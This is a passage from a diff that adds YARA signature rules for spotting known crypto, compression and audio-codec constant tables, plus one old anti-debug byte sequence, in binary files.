a3f6f7945bec3ef153f6c835ebf3e27c83f2b65a1bf55f77d3f0c8cbcbec3ef15bf6c835ebf6fe5bdbeb2b860bf37d71abf32275d3f6c835e3ec3ef15bdfd7d79bf7e080d3f05c27fbf5a469cbf6c835e3ec3ef153f529894bf118d423f7232a43ea5d8923ec3ef15bf6c835e3f626e8f3eeede7dbde0bcab3f7e74393ec3ef153f6c835ebb9a6c163f7fff46bf7e743b3de0bc15bf6c835ebec3ef15bf638c283eea9718bea5d86ebf7232aa3f6c835ebec3ef15bf5136febf1387bc3f5a46a6bf05c26ebec3ef153f6c835e3e085106bf7db8b63f3227503f37d727bec3ef15bf6c835e3f70ba9fbeae30b0bf0c8ccc3f55f7733f6c835e3ec3ef153f3c88113f2d2e7ebf6f793ebeb4fabdbf6c835e3ec3ef15be84c6403f773e053e104899bf7d722f3ec3ef15bf6c835ebf79ec103e5dcef13f7f35fabda0aec83ec3ef153f6c835ebf24b982bf43f6b83e968c5c3f74aedebf6c835ebec3ef153ec330d8bf6caaafbf5e5ea93efdacac3f6c835ebec3ef153f7ef97dbdb71f79bf2c4a82bf3d5880bec3ef153f6c835e3f0a304b3f577fcb3f133397bf51723bbec3ef15bf6c835ebefe5f8e3f5e2b8d3f6c83593ec3ef2f3f6c835e3ec3ef15bf7fcd79bd20cf41be300e683f7c301dbf6c835e3ec3ef15bedab9edbf6776dabf7fb7403d40f1c43ec3ef15bf6c835e3f1aabb0bf4bfe1cbe871a41bf76ed403ec3ef153f6c835e3f7c64803e2b4cda3f623e7ebeef9463bf6c835ebec3ef153e9d73923f73982f3f26422e3f42aa023f6c835ebec3ef15bf3397953f366f76bf19b5313f4cb818bec3ef153f6c835ebf74cd09be95c7abbf6951b3bed2b221bec3ef15bf6c835ebe3b22cdbf7bb0563e4fa7bcbf7aae553f6c835e3ec3ef153f4989c2bf1ddb083f7ff7ebbc80aa71bf6c835e3ec3ef153f6927473ed36da43e6f0c083f78ed403ec3ef15bf6c835e3d6112fe3f7f9cfcbf65e52b3ee13f943ec3ef153f6c835ebf5c25223f02a915bf200fd9bf47ca55bf6c835ebec3ef15bf59a4a0bf06c96e3f200ff6bf47ca3e3f6c835ebec3ef153d970febbf7f4d7a3f65e51a3ee13fd8bec3ef153f6c835e3f6b1acabeca99e5be6f0c9a3f78ed38bec3ef15bf6c835e3f4686df3f21a05cbf7ff7eabc80af273f6c835e3ec3ef15be4e14503f7ac323be4fa729bf7aae5dbf6c835e3ec3ef15bf762b473e8c86523f6951c2bed2b1dc3ec3ef15bf6c835ebf301f16bf39c9c53f19b5133f4cb82f3ec3ef153f6c835e3ea69b4dbf721138bf26424b3f42a9e9bf6c835ebec3ef153f7d27acbe183d74bf623e6dbeef94a63f6c835ebec3ef153f16cc4d3f4edf2f3e871a8abf76ed36bec3ef153f6c835ebee369ce3f655c9a3f7fb73e3d40f41ebec3ef15bf6c835ebf7ff2563ca744773e300dd33f7c30243f6c835e3ec3ef15bef5f3dbbf60872dbf6c83673ec3eeeabf6c835e3ec3ef153f0e39e2bf54db2cbf133378bf5172503ec3ef15bf6c835e3f7e7f703ddd8a08 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x6b6b51f4__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000f4516b6be8a3d6d61cf2bdbd2416c6c6d047adadccb5101038e47b7bbc7de7e6482c8c8d54de3130a08f5a5b986b21206c3a4a4b70c8f7f684999c9d8caaa5a678fbcecd640973709058181ba8bc63605ced080b401fb5b6b44ededd30d74240c486292bd87494962c25fffd14c18486e090efedfc6252500833393bec04202618554b4d04a7f6f0f0f69d9bc812e6e03c438d8b20b13036d4e05b5d5079c7c0a428acabb8da11164c8b7a7d746f0106803e6a6d9cccd7d0689dbcbb60ae858094ffeeeb880d53567c5c383d44b84346b0e9282dac1b9590584afefbdcd362662882090d3470b4b0c021dfdbf8c5a4a00c94cfcb10667276e437191dd809404c2c582b2730aa969ac4fbfdf1fc1f868a084eede114bc505ce0ed3b376474a7aa9025ccc18cd7717c78861a174062616cb4330a07a8c1b7ba5c90dcd154a3e5eaa0f28e81bc00333c4851585770b5232c84e448479816f5fa6c479e91e8de020c1c8f6967007dd4daf42cbfb1ccc8c4ca3899afa1246b121cd03a7977340d606ac05c0b01dcaeb6bc28ffddd7101ba6ace44acdc7f8b8707a0ce91b118870878c7c21ece760d3515a94823a31ac66414a58372a2144c5979cb094fcf7b8a7c5cc4cf6aea75004131aa45578719cb1030a68e068617412d5dc8043beb704da222af08b4941ec79f4fc18289f9720cce4ecd49d8f87c86f323a3c3e5951b01380984442ebf358b0564eace13d259405465e60542d357ca6908888f7fbe30c6e677ef83f0c15e4cdb1a8109cdac32878a1b8dc29cad3c0db776e348a1c053cb9253ec8e84e55d41af3e8204b988318afe3f8ecfe8893f00c352e045d5e4580c4c2d87495a9b36867140e9c367f65a4d2041e50836f754c71d2c8b820b9a35c17a0bea846cbd5b4b4766840e51d03780166788c500d1390a2b0ae64f3dbc5e06a4758143b2c3308c9918efc98fae5c47c819e302deaf52cdf5748d88e3c23d0bd051824ec6e73381ed3cecc4fb8a5f4abc3de00faa8b51c081508e8597e636cc0e2fe989189958463342870325f4348d62438bc874f53a075f2ee54249985681ac0d49c4babbf80b9160274e87d694c0c0612b85d6d79a4afd0c450febbafd467273220364c593cc4f1e4c8959a8ff071e1f404208a9f18d23722ec835c49e4b0657210e10e190c13b3a4f842d8cfc0a6a3b434f7c8df28057562dc541e0958cd8294ac9ce9ffb06e5442443f3f297cdb4452888a2f39947892846029f9ef841ee0f2704f8b996cbd362498ec5d4fa008263454594d5f48abf0e2bcfa9b8938630714cc326c7fd0c0d1c22491baa91c75c1d2e824aab9f4d6170400877c6f08b44554fce52e3fe01793821446f8e92ca28392d8f3e8f9c401554430503e2fb4c9a2b24098c9d95c6a7464a83b1f0f90df6474648e0f1f787cb2a28c2dd9c9 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg2_vlc__16_lil_452_
+{
+strings:
+	$a0 = { 0200020006000300070004001c0005001d00050005000600040006007b0007007c0007002300080022000800fa000800fb000800fe000800ff0008001f000e001e000e001d000e001c000e001b000e001a000e0019000e0018000e0017000e0016000e0015000e0014000e0013000e0012000e0011000e0010000e0018000f0017000f0016000f0015000f0014000f0013000f0012000f0011000f0010000f00020003000600050079000700270008002000080016000d0015000d001f000f001e000f001d000f001c000f001b000f001a000f0019000f00130010001200100011001000100010000500050007000700fc0008000c000a0014000d0007000500260008001c000c0013000d0006000600fd00080012000c00070006000400090012000d00060007001e000c00140010000400070015000c000500070011000c007800070011000d007a00070010000d00210008001a00100025000800190010002400080018001000050009001700100007000900160010000d000a00150010001f000c001a000c0019000c0017000c0016000c001f000d001e000d001d000d001c000d001b000d001f0010001e0010001d0010001c0010001b0010000100060006000400 }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptAcquireContext__8_byt_STR_21_
+{
+strings:
+	$a0 = { 437279707441637175697265436f6e746578744100 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpcodecs_DTS_BITRATES__32_big_120_
+{
+strings:
+	$a0 = { 00007d000000dac00000fa00000177000001b5800001f4000002ee0000036b000003e8000004e2000005dc000006d6000007d0000008ca000009c400000bb800000dac00000fa00000119400001388000014820000157c00001588800016760000177000001d4c00001f4000002ee000003a9800003e8000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_base_dist__32_big_120_
+{
+strings:
+	$a0 = { 000000000000000100000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_SS3__32_big_1024_
+{
+strings:
+	$a0 = { 120000004a00000026000000c8000000d200000062000000ce000000e70000002e000000c3000000fb0000007c00000065000000480000008f000000b8000000760000003d000000a50000008e0000008600000057000000bd000000bc0000001f000000ef0000000c000000e00000007800000071000000110000007500000095000000d90000009b0000009e000000b9000000a4000000f7000000020000007f00000080000000830000007e000000be0000005600000096000000730000009f000000880000002a00000014000000890000009a000000f9000000dc000000320000006d000000de0000006a0000008400000072000000d80000008a000000d7000000e3000000080000004e0000001e000000b30000005d00000050000000d6000000eb000000b10000000d000000cf000000ad000000c60000000e0000007d000000a0000000dd0000009c000000410000001c000000cd0000001a00000038000000340000005b00000023000000030000008c00000068000000460000005300000004000000a900000027000000ac000000e60000001b000000fc0000002f000000a30000000b00000028000000e40000000f000000da000000d4000000c4000000d5000000940000008b000000900000006b0000009d000000f8000000ae000000630000007a00000007000000e2000000ea000000c5000000db0000009800000015000000c10000000a000000a2000000c200000030000000440000005a000000f10000003a0000006e000000a8000000c9000000550000004d000000200000006f000000f200000035000000590000001900000077000000bb000000920000006c0000002c000000450000006600000042000000f30000003900000029000000c0000000e80000004f000000e5000000c7000000b0000000e10000008d000000f600000000000000010000007b000000d1000000cb00000052000000fd000000cc000000580000003f000000ee000000b2000000ff00000040000000aa0000004b00000074000000b4000000600000005f000000990000002b00000091000000df000000f400000047000000210000003b0000003300000093000000af000000d3000000160000005e000000360000004300000049000000a6000000d000000006000000b6000000700000008100000082000000a1000000fa000000970000008500000079000000b7000000ba0000003c00000010000000b5000000ab00000013000000a700000064000000e900000009000000540000002500000037000000670000001d000000fe000000f5000000690000002d0000003100000022000000f0000000180000003e000000610000001700000051000000ec00000005000000ca000000ed0000005c00000087000000bf0000004c00000024000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_128__flt32___32_big_1024_
+{
+strings:
+	$a0 = { 3f800000000000003f7fb10f3d48fb303f7ec46d3dc8bd363f7d3aac3e1640833f7b14be3e47c5c23f7853f83e78cfcd3f74fa0b3e94a0313f7109083eac7cd43f6c835e3ec3ef163f676bd83edae8803f61c5973ef15aea3f5b941a3f039c3d3f54db313f0e39da3f4d9f023f187fc03f45e4033f22679a3f3daef93f2beb4a3f3504f33f3504f33f2beb493f3daefa3f2267993f45e4033f187fc03f4d9f023f0e39d93f54db323f039c3c3f5b941b3ef15ae73f61c5983edae8813f676bd83ec3ef153f6c835e3eac7cd33f7109083e94a0303f74fa0b3e78cfc83f7853f83e47c5bc3f7b14bf3e1640853f7d3aac3dc8bd353f7ec46d3d48fb293f7fb10fb33bbd2e3f800000bd48fb413f7fb10fbdc8bd413f7ec46dbe16408a3f7d3aacbe47c5c23f7b14bebe78cfcd3f7853f8be94a0333f74fa0abeac7cd63f710908bec3ef183f6c835ebedae8803f676bd8bef15aed3f61c597bf039c3d3f5b941abf0e39dc3f54db30bf187fc13f4d9f02bf2267993f45e404bf2beb4b3f3daef8bf3504f33f3504f3bf3daefb3f2beb48bf45e4043f226799bf4d9f043f187fbdbf54db323f0e39d9bf5b941a3f039c3dbf61c5993ef15ae6bf676bd83edae87fbf6c83603ec3ef10bf7109093eac7cd2bf74fa0b3e94a033bf7853f83e78cfc5bf7b14bf3e47c5c1bf7d3aac3e16407abf7ec46d3dc8bd30bf7fb10f3d48fafd3f800000000000003f7ec46d3dc8bd363f7b14be3e47c5c23f74fa0b3e94a0313f6c835e3ec3ef163f61c5973ef15aea3f54db313f0e39da3f45e4033f22679a3f3504f33f3504f33f2267993f45e4033f0e39d93f54db323ef15ae73f61c5983ec3ef153f6c835e3e94a0303f74fa0b3e47c5bc3f7b14bf3dc8bd353f7ec46d3f800000000000003f7b14be3e47c5c23f6c835e3ec3ef163f54db313f0e39da3f3504f33f3504f33f0e39d93f54db323ec3ef153f6c835e3e47c5bc3f7b14bfb33bbd2e3f800000be47c5c23f7b14bebec3ef183f6c835ebf0e39dc3f54db30bf3504f33f3504f3bf54db323f0e39d9bf6c83603ec3ef10bf7b14bf3e47c5c13f800000000000003f74fa0b3e94a0313f54db313f0e39da3f2267993f45e4033ec3ef153f6c835e3dc8bd353f7ec46dbe47c5c23f7b14bebef15aed3f61c597bf3504f33f3504f3bf61c5973ef15aedbf7b14bf3e47c5c1bf7ec46dbdc8bd47bf6c835ebec3ef15bf45e405bf226798bf0e39d6bf54db34be94a02dbf74fa0b3f800000000000003f6c835e3ec3ef163f3504f33f3504f33ec3ef153f6c835e3f800000000000003f3504f33f3504f3b33bbd2e3f800000bf3504f33f3504f33f800000000000003ec3ef153f6c835ebf3504f33f3504f3bf6c835ebec3ef153f800000000000003f800000000000003f80000000000000324cde2ebf800000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Detect_WinICE_handler_using_INT_68h__V86__since_SoftICE_hooks__8_byt_8_
+{
+strings:
+	$a0 = { b443cd68663d86f3 }
+
+condition:
+	$a0
+}
+
+	
+rule redoc2_key_y__8_byt_10_
+{
+strings:
+	$a0 = { ffde1a9bd5f80c6d4e5f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book4__32_lil_972_
+{
+strings:
+	$a0 = { 0000000004000000070000000100000005000000160000000200000008000000f60000000300000005000000180000000400000004000000080000000500000008000000ef0000000600000009000000ef0100000700000008000000f3000000080000000b000000f80700000900000005000000190000000a00000005000000170000000b00000008000000ed0000000c00000005000000150000000d00000004000000010000000e00000008000000e20000000f00000008000000f0000000100000000700000070000000110000000a000000f00300001200000009000000ee0100001300000008000000f1000000140000000b000000fa0700001500000008000000ee0000001600000008000000e4000000170000000a000000f2030000180000000b000000f6070000190000000a000000ef0300001a0000000b000000fd0700001b00000004000000050000001c00000005000000140000001d00000008000000f20000001e00000004000000090000001f00000004000000040000002000000008000000e50000002100000008000000f40000002200000008000000e8000000230000000a000000f40300002400000004000000060000002500000004000000020000002600000008000000e700000027000000040000000300000028000000040000000000000029000000070000006b0000002a00000008000000e30000002b00000007000000690000002c00000009000000f30100002d00000008000000eb0000002e00000008000000e60000002f0000000a000000f603000030000000070000006e00000031000000070000006a0000003200000009000000f4010000330000000a000000ec0300003400000009000000f0010000350000000a000000f90300003600000008000000f50000003700000008000000ec000000380000000b000000fb0700003900000008000000ea0000003a000000070000006f0000003b0000000a000000f70300003c0000000b000000f90700003d0000000a000000f30300003e0000000c000000ff0f00003f00000008000000e900000040000000070000006d000000410000000a000000f803000042000000070000006c0000004300000007000000680000004400000009000000f5010000450000000a000000ee0300004600000009000000f2010000470000000b000000f4070000480000000b000000f7070000490000000a000000f10300004a0000000c000000fe0f00004b0000000a000000ed0300004c00000009000000f10100004d0000000b000000f50700004e0000000b000000fe0700004f0000000a000000f5030000500000000b000000fc070000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_144_cb2_base__16_lil_256_
+{
+strings:
+	$a0 = { 8e2f4434373608367233ab339433152f7a30a4360c3827392c336734a833ec2fce2e0136bb3482373536c439f3353533b92cdb3321329535b8318035d7317530f627992f6c2d6933f22d923418301232cb28e531eb2ec4362a2e0136a530aa33ce286a33692edc373b32a03fb234cd3aab271432ff2c9536092fe93a5b31763776375b31e93a092f9536ff2c1432ab27cd3ab234a03f3b32dc37692e6a33ce28aa33a53001362a2ec436eb2ee531cb28123218309234f22d69336c2d992ff6277530d7318035b83195352132db33b92c3533f335c43935368237bb340136ce2eec2fa83367342c3327390c38a4367a30152f9433ab3372330836373644348e2f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_pos__flt32___32_big_160_
+{
+strings:
+	$a0 = { 3f8000003f8000003f8000003f8000003f8000003f8f9dc43f8f9dc43fa124a83fa124a83fa124a83fa124a83fa124a83fcade4c3fe39f633fe39f633fb4ce603fcade4c3fff65bb4034616c404a640d3fcade4c3fff65bc4034616c408ef18140b3f1883fe39f634020c391408ef18140fe2dc7413385183fff65bb4063163840e2895b416200d841c8f3754020c39140a05fd84133851841c8f3754260f0c9 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_60__flt64___64_lil_960_
+{
+strings:
+	$a0 = { 000000000000f03f0000000000000000feffff9f1fd3ef3fe2ffff9f60c2ba3f02000040fc4cef3f0b0000c0d99cca3f030000200e6fee3fffffff3fefc6d33ffcffff9fc33bed3f06000020f907da3ffeffffdf7ab6eb3f000000000000e03f000000a077e3e93fffffffff22cfe23f040000a0d7c7e73f030000a08469e53f010000808469e53ffdffffbfd7c7e73fffffffff22cfe23f000000a077e3e93f070000e0ffffdf3f000000007bb6eb3ffbfffffff807da3ffeffffbfc33bed3f06000020efc6d33f030000200e6fee3ffcffff5fd99cca3f02000040fc4cef3f0b0000e05fc2ba3ffeffff9f1fd3ef3fcdd36abda57767be000000000000f03f0000006061c2babffeffff9f1fd3ef3ff6ffff1fda9ccabf00000020fc4cef3ff8ffff5fefc6d3bf010000000e6fee3ff8ffff5ff907dabffcffff9fc33bed3f000000000000f03f000000000000000002000040fc4cef3f0b0000c0d99cca3ffcffff9fc33bed3f06000020f907da3f000000a077e3e93fffffffff22cfe23f010000808469e53ffdffffbfd7c7e73f070000e0ffffdf3f000000007bb6eb3f06000020efc6d33f030000200e6fee3f0b0000e05fc2ba3ffeffff9f1fd3ef3f0000006061c2babffeffff9f1fd3ef3ff8ffff5fefc6d3bf010000000e6fee3f020000200000e0bffeffffdf7ab6eb3ffcffffbf8469e5bf040000a0d7c7e73f020000c077e3e9bffdffffdf22cfe23ffeffffbfc33bedbf020000e0f807da3f02000040fc4cefbf11000000d99cca3f000000000000f0bfb5bfebc1a57777be00000020fc4cefbf06000080da9ccabffcffff9fc33bedbf03000080f907dabffeffff7f77e3e9bf0300004023cfe2bfffffff5f8469e5bffdffffbfd7c7e7bf000000000000f03f0000000000000000030000200e6fee3fffffff3fefc6d33f000000a077e3e93fffffffff22cfe23fffffffff22cfe23f000000a077e3e93f06000020efc6d33f030000200e6fee3f000000000000f03f0000000000000000000000a077e3e93fffffffff22cfe23f06000020efc6d33f030000200e6fee3ff8ffff5fefc6d3bf010000000e6fee3f020000c077e3e9bffdffffdf22cfe23f000000000000f03f0000000000000000ffffffff22cfe23f000000a077e3e93ff8ffff5fefc6d3bf010000000e6fee3ffcffff3f0e6feebffaffff5feec6d33ffeffff7f77e3e9bf0300004023cfe2bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000070000c0efc6d33f010000000e6feebf }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_rc__64_big_80_
+{
+strings:
+	$a0 = { 1823c6e887b8014f36a6d2f5796f915260bc9b8ea30c7b351de0d7c22e4bfe57157737e59ff04ada58c9290ab1a06b85bd5d10f4cb3e0567e427418ba77d95d8fbee7c66dd17479eca2dbf07ad5a8333 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_256__flt32___32_big_2048_
+{
+strings:
+	$a0 = { 3f800000000000003f7fec433cc90ab03f7fb10f3d48fb303f7f4e6d3d96a9053f7ec46d3dc8bd363f7e13243dfab2733f7d3aac3e1640833f7c3b283e2f10a33f7b14be3e47c5c23f79c79d3e605c133f7853f83e78cfcd3f76ba073e888e943f74fa0b3e94a0313f7314473ea09ae53f7109083eac7cd43f6ed89e3eb8442a3f6c835e3ec3ef163f6a09a63ecf7bcb3f676bd83edae8803f64aa593ee633753f61c5973ef15aea3f5ebe053efc5d283f5b941a3f039c3d3f5848533f08f59b3f54db313f0e39da3f514d3d3f13682b3f4d9f023f187fc03f49d1123f1d7fd23f45e4033f22679a3f41d8703f2736563f3daef93f2beb4a3f3968423f3085bb3f3504f33f3504f33f3085ba3f3968423f2beb493f3daefa3f2736553f41d8713f2267993f45e4033f1d7fd13f49d1123f187fc03f4d9f023f13682a3f514d3d3f0e39d93f54db323f08f59b3f5848533f039c3c3f5b941b3efc5d273f5ebe053ef15ae73f61c5983ee633743f64aa593edae8813f676bd83ecf7bc93f6a09a73ec3ef153f6c835e3eb844273f6ed89e3eac7cd33f7109083ea09ae23f7314483e94a0303f74fa0b3e888e933f76ba073e78cfc83f7853f83e605c123f79c79d3e47c5bc3f7b14bf3e2f10a03f7c3b283e1640853f7d3aac3dfab26c3f7e13243dc8bd353f7ec46d3d96a8fb3f7f4e6d3d48fb293f7fb10f3cc90a7e3f7fec433f800000000000003f7fb10f3d48fb303f7ec46d3dc8bd363f7d3aac3e1640833f7b14be3e47c5c23f7853f83e78cfcd3f74fa0b3e94a0313f7109083eac7cd43f6c835e3ec3ef163f676bd83edae8803f61c5973ef15aea3f5b941a3f039c3d3f54db313f0e39da3f4d9f023f187fc03f45e4033f22679a3f3daef93f2beb4a3f3504f33f3504f33f2beb493f3daefa3f2267993f45e4033f187fc03f4d9f023f0e39d93f54db323f039c3c3f5b941b3ef15ae73f61c5983edae8813f676bd83ec3ef153f6c835e3eac7cd33f7109083e94a0303f74fa0b3e78cfc83f7853f83e47c5bc3f7b14bf3e1640853f7d3aac3dc8bd353f7ec46d3d48fb293f7fb10fb33bbd2e3f800000bd48fb413f7fb10fbdc8bd413f7ec46dbe16408a3f7d3aacbe47c5c23f7b14bebe78cfcd3f7853f8be94a0333f74fa0abeac7cd63f710908bec3ef183f6c835ebedae8803f676bd8bef15aed3f61c597bf039c3d3f5b941abf0e39dc3f54db30bf187fc13f4d9f02bf2267993f45e404bf2beb4b3f3daef8bf3504f33f3504f3bf3daefb3f2beb48bf45e4043f226799bf4d9f043f187fbdbf54db323f0e39d9bf5b941a3f039c3dbf61c5993ef15ae6bf676bd83edae87fbf6c83603ec3ef10bf7109093eac7cd2bf74fa0b3e94a033bf7853f83e78cfc5bf7b14bf3e47c5c1bf7d3aac3e16407abf7ec46d3dc8bd30bf7fb10f3d48fafd3f800000000000003f7f4e6d3d96a9053f7d3aac3e1640833f79c79d3e605c133f74fa0b3e94a0313f6ed89e3eb8442a3f676bd83edae8803f5ebe053efc5d283f54db313f0e39da3f49d1133f1d7fd13f3daef93f2beb4a3f3085ba3f3968423f2267993f45e4033f13682b3f514d3d3f039c3c3f5b941b3ee633743f64aa593ec3ef153f6c835e3ea09ae53f7314473e78cfd03f7853f83e2f10a03f7c3b283dc8bd353f7ec46d3cc90abe3f7fec43bd48fb413f7fb10fbdfab2773f7e1323be47c5c23f7b14bebe888e923f76ba07beac7cd23f710908becf7bcb3f6a09a6bef15aed3f61c597bf08f59c3f584852bf187fc13f4d9f02bf2736563f41d870bf3504f33f3504f3bf41d8703f273656bf4d9f023f187fc1bf5848523f08f59cbf61c5973ef15aedbf6a09a73ecf7bc7bf7109093eac7cd2bf76ba073e888e92bf7b14bf3e47c5c1bf7e13233dfab276bf7fb10f3d48fb3dbf7fec43bcc90a84bf7ec46dbdc8bd47bf7c3b28be2f10a9bf7853f8be78cfd0bf731447bea09ae6bf6c835ebec3ef15bf64aa59bee63374bf5b941bbf039c3cbf514d3ebf136829bf45e405bf226798bf396841bf3085bcbf2beb49bf3daefabf1d7fd1bf49d113bf0e39d6bf54db34befc5d27bf5ebe05bedae87bbf676bd9beb8442cbf6ed89dbe94a02dbf74fa0bbe605c1cbf79c79dbe16407fbf7d3aacbd96a91fbf7f4e6d3f800000000000003f7ec46d3dc8bd363f7b14be3e47c5c23f74fa0b3e94a0313f6c835e3ec3ef163f61c5973ef15aea3f54db313f0e39da3f45e4033f22679a3f3504f33f3504f33f2267993f45e4033f0e39d93f54db323ef15ae73f61c5983ec3ef153f6c835e3e94a0303f74fa0b3e47c5bc3f7b14bf3dc8bd353f7ec46d3f800000000000003f7b14be3e47c5c23f6c835e3ec3ef163f54db313f0e39da3f3504f33f3504f33f0e39d93f54db323ec3ef153f6c835e3e47c5bc3f7b14bfb33bbd2e3f800000be47c5c23f7b14bebec3ef183f6c835ebf0e39dc3f54db30bf3504f33f3504f3bf54db323f0e39d9bf6c83603ec3ef10bf7b14bf3e47c5c13f800000000000003f74fa0b3e94a0313f54db313f0e39da3f2267993f45e4033ec3ef153f6c835e3dc8bd353f7ec46dbe47c5c23f7b14bebef15aed3f61c597bf3504f33f3504f3bf61c5973ef15aedbf7b14bf3e47c5c1bf7ec46dbdc8bd47bf6c835ebec3ef15bf45e405bf226798bf0e39d6bf54db34be94a02dbf74fa0b3f800000000000003f6c835e3ec3ef163f3504f33f3504f33ec3ef153f6c835e3f800000000000003f3504f33f3504f3b33bbd2e3f800000bf3504f33f3504f33f800000000000003ec3ef153f6c835ebf3504f33f3504f3bf6c835ebec3ef153f800000000000003f800000000000003f80000000000000324cde2ebf800000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_mnt_table__flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3fee8000000000003fee4000000000003fee0000000000003fedc000000000003feda000000000003fed6000000000003fed2000000000003fece000000000003fecc000000000003fec8000000000003fec4000000000003fec2000000000003febe000000000003febc000000000003feb8000000000003feb4000000000003feb2000000000003feae000000000003feac000000000003fea8000000000003fea6000000000003fea4000000000003fea0000000000003fe9e000000000003fe9a000000000003fe98000000000003fe96000000000003fe92000000000003fe90000000000003fe8e000000000003fe8c000000000003fe88000000000003fe86000000000003fe84000000000003fe82000000000003fe80000000000003fe7c000000000003fe7a000000000003fe78000000000003fe76000000000003fe74000000000003fe72000000000003fe70000000000003fe6e000000000003fe6c000000000003fe6a000000000003fe66000000000003fe64000000000003fe62000000000003fe60000000000003fe5e000000000003fe5c000000000003fe5c000000000003fe5a000000000003fe58000000000003fe56000000000003fe54000000000003fe52000000000003fe50000000000003fe4e000000000003fe4c000000000003fe4a000000000003fe48000000000003fe48000000000003fe46000000000003fe44000000000003fe42000000000003fe40000000000003fe3e000000000003fe3e000000000003fe3c000000000003fe3a000000000003fe38000000000003fe36000000000003fe36000000000003fe34000000000003fe32000000000003fe30000000000003fe30000000000003fe2e000000000003fe2c000000000003fe2a000000000003fe2a000000000003fe28000000000003fe26000000000003fe26000000000003fe24000000000003fe22000000000003fe22000000000003fe20000000000003fe1e000000000003fe1e000000000003fe1c000000000003fe1a000000000003fe1a000000000003fe18000000000003fe16000000000003fe16000000000003fe14000000000003fe14000000000003fe12000000000003fe10000000000003fe10000000000003fe0e000000000003fe0e000000000003fe0c000000000003fe0a000000000003fe0a000000000003fe08000000000003fe08000000000003fe06000000000003fe06000000000003fe04000000000003fe04000000000003fe02000000000003fe02000000000003fe00000000000003fdfe000000000003fdfc000000000003fdfa000000000003fdf8000000000003fdf6000000000003fdf4000000000003fdf2000000000003fdf0000000000003fdee000000000003fdec000000000003fdea00000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40__dqlntab__16_big_64_
+{
+strings:
+	$a0 = { F800FFBE001C006800A900E00112013E0166018B01AD01CB01E80202021B02360236021B020201E801CB01AD018B0166013E011200E000A90068001CFFBEF800 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_squared_map__16_lil_32_
+{
+strings:
+	$a0 = { 0000010004000500100011001400150040004100440045005000510054005500 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_muxer_demuxer_dv_aaux_packs_dist__32_big_432_
+{
+strings:
+	$a0 = { 000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_login_encryption_algorithm__32_big_888_
+{
+strings:
+	$a0 = { 00000068000000050000000700008000000000020000000500000005000000070000000e000000050000000b000000070000800000000003000080000000003d000000d700008000000080000000000a0000000600000009000080000000800000008000000080000000800000000025000080000000000500000004000000080000001300000008000000030000001a000000070000001400000005000000020000000500000001000000050000000200000002000000110000000f0000000a000000050000800000000002000000020000000a0000028d00008000000000080000000700000009000080000000800000008000000000020000002500008000000000c9000080000000800000000229000002c900000005000080000000000b000000490000005d000000050000000900008000000080000000000600000002000080000000800000008000000000020000000c000000010000000b0000006e0000006a0000800000008000000000040000000200000049000080000000003100000005000000090000000f0000000d000000010000000400008000000000150000800000008000000000030000000900000013000000030000000e000080000000001c0000800000000005000000020000800000000023000000100000001100008000000000090000800000000002000080000000000d00000002000080000000003e00008000000000020000002700000045000000020000800000008000000000420000800000008000000080000000000b0000800000008000000080000000001300000041000080000000006300008000000000090000800000000002000080000000001a0000800000000102000001350000003300008000000080000000000300000009000000090000000900000095000080000000800000000004000080000000800000000005000080000000800000008000000080000000000d000080000000800000008000000080000000800000000040000000090000800000008000000000030000000600000009000000030000800000008000000080000000002400008000000080000000800000000006000000cb0000000100000031000000020000000600000006000000070000800000000001000080000000004e0000800000000002000000190000800000008000000080000000800000008000000080000000010c00008000000080000000000900008000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_channel_reorder_nolfe__8_byt_128_
+{
+strings:
+	$a0 = { 00FFFFFFFFFFFFFF0001FFFFFFFFFFFF0001FFFFFFFFFFFF0001FFFFFFFFFFFF0001FFFFFFFFFFFF020001FFFFFFFFFF000102FFFFFFFFFF02000103FFFFFFFF00010203FFFFFFFF0200010304FFFFFF020300010405FFFF020001030405FFFF000503040102FFFF03020400010506FF04050001060207030302040001050706 }
+
+condition:
+	$a0
+}
+
+	
+rule m_huffman_c__from_doomsday___flt64___64_big_2048_
+{
+strings:
